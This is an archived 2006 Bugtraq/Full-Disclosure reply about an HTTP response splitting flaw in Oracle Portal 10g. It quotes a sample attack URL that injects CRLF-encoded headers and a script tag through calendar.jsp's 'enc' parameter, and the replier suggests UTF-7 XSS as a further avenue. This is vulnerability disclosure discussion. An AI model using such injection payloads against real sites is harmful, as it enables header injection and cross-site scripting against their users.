Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting

To: "putosoft softputo" <hasecorp@xxxxxxxxxxx>
Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
From: "Brian Eaton" <eaton.lists@xxxxxxxxx>
Date: Wed, 20 Dec 2006 13:55:09 -0500
Cc: bugtraq@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
Domainkey-signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=gPu5oS0Aw+UVjlfiMBfAq/0Nuzao/EKI7tQTEWi94h+rQ6f0gpeQxLd3nWYjTLjhGyHaxx4vuMcdOTUk18nBtNqgKglv5wYolTD5IOcGjrZfi7cgCfGPBMXE2ylATayY3p7LP8+uImfs7YVzWsw/1rMLmu3MDVasW4cy3w9YvA4=
In-reply-to: <BAY114-F8D7E450685BC28D72A7B0DECF0@xxxxxxx>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
References: <BAY114-F8D7E450685BC28D72A7B0DECF0@xxxxxxx>

On 12/20/06, putosoft softputo <hasecorp@xxxxxxxxxxx> wrote:

Oracle Portal/Applications HTTP Response Splitting
--------------------------------------------------

Sample:

http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E


So they let the URL specify the content-encoding?  They might be
vulnerable to XSS via UTF-7 as well.

Regards,
Brian

References:
- Oracle Portal 10g HTTP Response Splitting
  - From: putosoft softputo

Prev by Date: Re: Oracle <= 9i / 10g File System Access via utl_file Exploit
Next by Date: [security bulletin] HPSBUX02174 SSRT061239 rev.2 HP-UX Running OpenSSL Denial of Service (DoS), Increase Privilege
Previous by thread: Oracle Portal 10g HTTP Response Splitting
Next by thread: Re: Oracle Portal 10g HTTP Response Splitting
Index(es):
- Date
- Thread